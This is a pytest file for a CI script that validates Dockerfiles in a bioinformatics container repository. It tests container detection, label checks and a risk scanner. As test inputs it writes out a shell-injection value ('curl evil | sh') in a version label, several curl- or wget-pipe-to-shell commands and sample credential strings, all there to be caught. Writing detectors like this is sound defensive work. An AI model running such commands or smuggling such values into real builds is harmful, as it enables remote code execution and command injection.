-
Notifications
You must be signed in to change notification settings - Fork 265
Expand file tree
/
Copy pathtest_validate.py
More file actions
362 lines (273 loc) · 13.6 KB
/
Copy pathtest_validate.py
File metadata and controls
362 lines (273 loc) · 13.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
"""Tests for the CI validation script. Run: python -m pytest .github/scripts/tests
Network-touching advisory checks are patched out so the suite runs offline.
"""
import os
import sys
import pytest
sys.path.insert(0, os.path.join(os.path.dirname(__file__), ".."))
import validate # noqa: E402
# ---------------------------------------------------------------- detect
def test_detect_single_container(tmp_path):
(tmp_path / "abyss" / "2.1.5-7-deb").mkdir(parents=True)
(tmp_path / "abyss" / "2.1.5-7-deb" / "Dockerfile").write_text("FROM x\n")
c, v, errors = validate.detect_container(
["abyss/2.1.5-7-deb/Dockerfile"], str(tmp_path))
assert (c, v, errors) == ("abyss", "2.1.5-7-deb", [])
def test_detect_rejects_github_edits(tmp_path):
_, _, errors = validate.detect_container(
[".github/workflows/publish.yml"], str(tmp_path))
assert errors and "GitHub CI files" in errors[0]
def test_detect_rejects_multiple_containers(tmp_path):
_, _, errors = validate.detect_container(
["abyss/1/Dockerfile", "bwa/2/Dockerfile"], str(tmp_path))
assert errors and "only modify one container" in errors[0]
def test_detect_requires_dockerfile(tmp_path):
(tmp_path / "abyss" / "9").mkdir(parents=True)
c, v, errors = validate.detect_container(["abyss/9/README.md"], str(tmp_path))
assert (c, v) == ("abyss", "9")
assert errors and "No Dockerfile" in errors[0]
def test_detect_rejects_top_level_file(tmp_path):
_, _, errors = validate.detect_container(["README.md"], str(tmp_path))
assert errors and "not inside a container directory" in errors[0]
def test_detect_rejects_unsafe_directory_names(tmp_path):
_, _, errors = validate.detect_container(["abyss/$(evil)/Dockerfile"], str(tmp_path))
assert errors and "[A-Za-z0-9._-]" in errors[0]
# ---------------------------------------------------------------- list
def test_list_multiple_containers(tmp_path):
for name in ("abyss/1", "bwa/2"):
d = tmp_path / name
d.mkdir(parents=True)
(d / "Dockerfile").write_text("FROM x\n")
found = validate.list_containers(
["abyss/1/Dockerfile", "abyss/1/test-cmds.txt", "bwa/2/Dockerfile",
".github/workflows/x.yml", "README.md"], str(tmp_path))
assert sorted(found) == ["abyss/1", "bwa/2"]
def test_list_skips_dirs_without_dockerfile(tmp_path):
(tmp_path / "abyss" / "1").mkdir(parents=True) # no Dockerfile
found = validate.list_containers(["abyss/1/README.md"], str(tmp_path))
assert found == []
# ---------------------------------------------------------------- check
def _no_network(monkeypatch):
monkeypatch.setattr(validate, "_spdx_licenses", lambda: {"GPL-3.0": {}})
monkeypatch.setattr(validate, "_http_status", lambda url: 404)
def _good_labels():
return {
"software": "abyss",
"base_image": "biocontainers/biocontainers:vX_cv1",
"software.version": "2.1.5-7-deb",
"version": "1",
"about.summary": "de novo, parallel, sequence assembler for short reads",
"about.home": "http://example.org",
"about.license": "GPL-3.0",
"about.license_file": "/usr/share/doc/abyss/copyright",
}
def test_check_valid_labels_compute_tag(tmp_path, monkeypatch):
_no_network(monkeypatch)
df = tmp_path / "Dockerfile"
df.write_text("FROM x\nRUN apt-get install abyss\n")
ok, software, tag, errors, warnings = validate.check_labels(
"abyss", "2.1.5-7-deb", _good_labels(), str(df))
assert ok is True
assert software == "abyss"
assert tag == "2.1.5-7-deb_cv1"
assert errors == []
# version has no 'v' prefix -> advisory recommendation, but still valid
assert any("conventional 'v'-prefixed" in w for w in warnings)
def test_check_v_prefixed_version_no_recommendation(tmp_path, monkeypatch):
_no_network(monkeypatch)
df = tmp_path / "Dockerfile"
df.write_text("FROM x\n")
labels = _good_labels()
labels["software.version"] = "v2.1.5-7-deb"
ok, _, tag, errors, warnings = validate.check_labels(
"abyss", "v2.1.5-7-deb", labels, str(df))
assert ok is True
assert tag == "v2.1.5-7-deb_cv1"
assert not any("conventional 'v'-prefixed" in w for w in warnings)
def test_check_missing_required_label(tmp_path, monkeypatch):
_no_network(monkeypatch)
df = tmp_path / "Dockerfile"
df.write_text("FROM x\n")
labels = _good_labels()
del labels["about.home"]
ok, _, _, errors, _ = validate.check_labels("abyss", "2.1.5-7-deb", labels, str(df))
assert ok is False
assert any("about.home" in e for e in errors)
def test_check_version_mismatch(tmp_path, monkeypatch):
_no_network(monkeypatch)
df = tmp_path / "Dockerfile"
df.write_text("FROM x\n")
ok, _, _, errors, _ = validate.check_labels("abyss", "9.9.9", _good_labels(), str(df))
assert ok is False
assert any("does not match the directory version" in e for e in errors)
def test_check_forbidden_path_in_dockerfile(tmp_path, monkeypatch):
_no_network(monkeypatch)
df = tmp_path / "Dockerfile"
df.write_text("FROM x\nCOPY etc/biocontainers-ci/secret /root/\n")
ok, _, _, errors, _ = validate.check_labels(
"abyss", "2.1.5-7-deb", _good_labels(), str(df))
assert ok is False
assert any("Forbidden access" in e for e in errors)
def test_check_short_summary_fails(tmp_path, monkeypatch):
_no_network(monkeypatch)
df = tmp_path / "Dockerfile"
df.write_text("FROM x\n")
labels = _good_labels()
labels["about.summary"] = "too short"
ok, _, _, errors, _ = validate.check_labels("abyss", "2.1.5-7-deb", labels, str(df))
assert ok is False
assert any("about.summary" in e for e in errors)
def test_check_rejects_shell_metacharacters_in_tag(tmp_path, monkeypatch):
_no_network(monkeypatch)
df = tmp_path / "Dockerfile"
df.write_text("FROM x\n")
labels = _good_labels()
labels["version"] = '1"; curl evil | sh; "' # malicious LABEL version
ok, _, tag, errors, _ = validate.check_labels("abyss", "2.1.5-7-deb", labels, str(df))
assert ok is False
assert any("not a valid Docker tag" in e for e in errors)
def test_check_tag_defaults_cv1_when_version_blank(tmp_path, monkeypatch):
_no_network(monkeypatch)
df = tmp_path / "Dockerfile"
df.write_text("FROM x\n")
labels = _good_labels()
labels["version"] = ""
ok, _, tag, errors, _ = validate.check_labels("abyss", "2.1.5-7-deb", labels, str(df))
# version label blank is itself an error, but the tag still falls back to _cv1
assert tag == "2.1.5-7-deb_cv1"
assert ok is False
# ---------------------------------------------------------------- risk scan
def _scan(tmp_path, body):
df = tmp_path / "Dockerfile"
df.write_text(body)
return validate.scan_dockerfile_risks(str(df))
def checklist_msgs(checklist):
return [c["msg"] for c in checklist]
def test_scan_flags_curl_pipe_shell(tmp_path):
# the phynest/#621 case
secrets, checklist = _scan(
tmp_path,
"FROM biocontainers/biocontainers:v1.0.0_cv5\n"
"RUN curl -fsSL https://install.julialang.org | sh -s -- -y\n")
assert secrets == []
assert any("remote script" in c for c in checklist_msgs(checklist))
def test_scan_flags_wget_pipe_bash(tmp_path):
_, checklist = _scan(tmp_path, "FROM biocontainers/x\nRUN wget -qO- http://x | bash\n")
msgs = checklist_msgs(checklist)
assert any("remote script" in m for m in msgs)
assert any("insecure `http://`" in m for m in msgs)
def test_scan_flags_add_url_and_bare_ip(tmp_path):
_, checklist = _scan(tmp_path, "FROM biocontainers/x\nADD https://10.0.0.1/pkg.tar /tmp/\n")
msgs = checklist_msgs(checklist)
assert any("`ADD <url>`" in m for m in msgs)
assert any("bare IP" in m for m in msgs)
def test_scan_flags_non_biocontainers_base(tmp_path):
_, checklist = _scan(tmp_path, "FROM debian:stable-slim\nRUN echo hi\n")
assert any("not an official `biocontainers/*`" in m for m in checklist_msgs(checklist))
def test_scan_accepts_quay_biocontainers_base(tmp_path):
_, checklist = _scan(tmp_path, "FROM quay.io/biocontainers/samtools:1.19\nRUN echo hi\n")
assert not any("not an official" in m for m in checklist_msgs(checklist))
def test_scan_flags_each_unapproved_stage_once(tmp_path):
# every non-biocontainers stage is surfaced; a repeated base is flagged only once
_, checklist = _scan(
tmp_path,
"FROM golang:1.22 AS build\nRUN go build\nFROM golang:1.22\nRUN x\n"
"FROM alpine\nCOPY --from=build /x /x\n")
base_flags = [m for m in checklist_msgs(checklist) if "not an official" in m]
assert len(base_flags) == 2 # golang:1.22 (deduped) + alpine
def test_scan_ignores_comments(tmp_path):
secrets, checklist = _scan(
tmp_path,
"FROM biocontainers/x\n# RUN curl http://evil | sh (this is a comment)\nRUN echo ok\n")
assert secrets == []
assert checklist == []
def test_scan_blocks_aws_key(tmp_path):
secrets, _ = _scan(
tmp_path, "FROM biocontainers/x\nENV KEY=AKIAIOSFODNN7EXAMPLE\n")
assert any("AWS access key" in s["msg"] for s in secrets)
def test_scan_blocks_private_key(tmp_path):
secrets, _ = _scan(
tmp_path, "FROM biocontainers/x\nRUN echo '-----BEGIN OPENSSH PRIVATE KEY-----'\n")
assert any("private key" in s["msg"] for s in secrets)
def test_scan_credential_heuristic_does_not_echo_value(tmp_path):
# advisory only, and the matched line must NOT be echoed (no snippet leak)
secrets, checklist = _scan(
tmp_path, "FROM biocontainers/x\nENV DB_PASSWORD=hunter2secret\n")
assert secrets == []
cred = [c for c in checklist if "embed a credential" in c["msg"]]
assert cred and cred[0]["snippet"] == ""
def test_scan_http_in_label_is_not_a_download(tmp_path):
# a homepage URL in a LABEL must NOT be flagged as an insecure download
_, checklist = _scan(
tmp_path,
'FROM biocontainers/x\nLABEL about.home="http://example.org"\nRUN echo ok\n')
assert not any("insecure `http://`" in m for m in checklist_msgs(checklist))
def test_scan_catches_split_curl_pipe_shell(tmp_path):
# backslash continuation must not let `curl … | sh` evade the scan
_, checklist = _scan(
tmp_path,
"FROM biocontainers/x\nRUN curl -fsSL https://x.sh \\\n | sh\n")
assert any("remote script" in m for m in checklist_msgs(checklist))
def test_scan_secret_line_snippet_not_echoed(tmp_path):
# a line that trips BOTH a secret rule and curl|sh must be blocked AND must not
# echo the token into the checklist snippet (Codex high finding)
token = "ghp_" + "abcdefghijklmnopqrstuvwxyz0123456789" # 36 chars after ghp_
secrets, checklist = _scan(
tmp_path,
"FROM biocontainers/x\nRUN curl -H 'Authorization: %s' https://x | sh\n" % token)
assert any("GitHub personal access token" in s["msg"] for s in secrets)
remote = [c for c in checklist if "remote script" in c["msg"]]
assert remote and remote[0]["snippet"] == "" # no token leak
def test_scan_env_space_form_aws_secret_blocks(tmp_path):
# `ENV KEY value` (no '=') is valid Dockerfile syntax and must not bypass the scan
secrets, _ = _scan(
tmp_path, "FROM biocontainers/x\nENV AWS_SECRET_ACCESS_KEY %s\n" % ("A" * 40))
assert any("AWS secret access key" in s["msg"] for s in secrets)
def test_scan_env_space_form_password_advisory(tmp_path):
_, checklist = _scan(
tmp_path, "FROM biocontainers/x\nENV DB_PASSWORD hunter2secretvalue\n")
assert any("embed a credential" in m for m in checklist_msgs(checklist))
def test_scan_catches_heredoc_curl_pipe_shell(tmp_path):
_, checklist = _scan(
tmp_path,
"FROM biocontainers/x\nRUN <<EOF\ncurl -fsSL https://evil/install.sh | sh\nEOF\n")
assert any("remote script" in m for m in checklist_msgs(checklist))
def test_scan_from_platform_flag_not_misparsed(tmp_path):
_, checklist = _scan(
tmp_path,
"FROM --platform=linux/amd64 biocontainers/biocontainers:v1\nRUN echo ok\n")
assert not any("not an official" in m for m in checklist_msgs(checklist))
def test_scan_flags_non_biocontainers_final_stage(tmp_path):
_, checklist = _scan(
tmp_path,
"FROM biocontainers/biocontainers:v1 AS build\nRUN make\n"
"FROM debian:stable-slim\nCOPY --from=build /x /x\n")
flags = [m for m in checklist_msgs(checklist) if "not an official" in m]
assert flags and any("debian" in m for m in flags)
def test_scan_from_stage_reference_not_flagged(tmp_path):
_, checklist = _scan(
tmp_path,
"FROM biocontainers/biocontainers:v1 AS base\nRUN x\nFROM base\nRUN y\n")
assert not any("not an official" in m for m in checklist_msgs(checklist))
def test_scan_clean_dockerfile_no_findings(tmp_path):
secrets, checklist = _scan(
tmp_path,
"FROM biocontainers/biocontainers:v1.2.0_cv1\n"
"RUN apt-get update && apt-get install -y samtools\n")
assert secrets == []
assert checklist == []
def test_cmd_detect_populates_review_checklist(tmp_path):
(tmp_path / "tool" / "1").mkdir(parents=True)
(tmp_path / "tool" / "1" / "Dockerfile").write_text(
"FROM biocontainers/x\nRUN curl -fsSL https://x.sh | sh\n")
out = tmp_path / "report.json"
(tmp_path / "cf.txt").write_text("tool/1/Dockerfile\n")
import argparse
import json as _json
args = argparse.Namespace(
changed_files=str(tmp_path / "cf.txt"), workdir=str(tmp_path), out=str(out))
rc = validate.cmd_detect(args)
report = _json.loads(out.read_text())
assert rc == 0
assert report["ok"] is True # advisory, does not fail the build
assert any("remote script" in c for c in report["review_checklist"])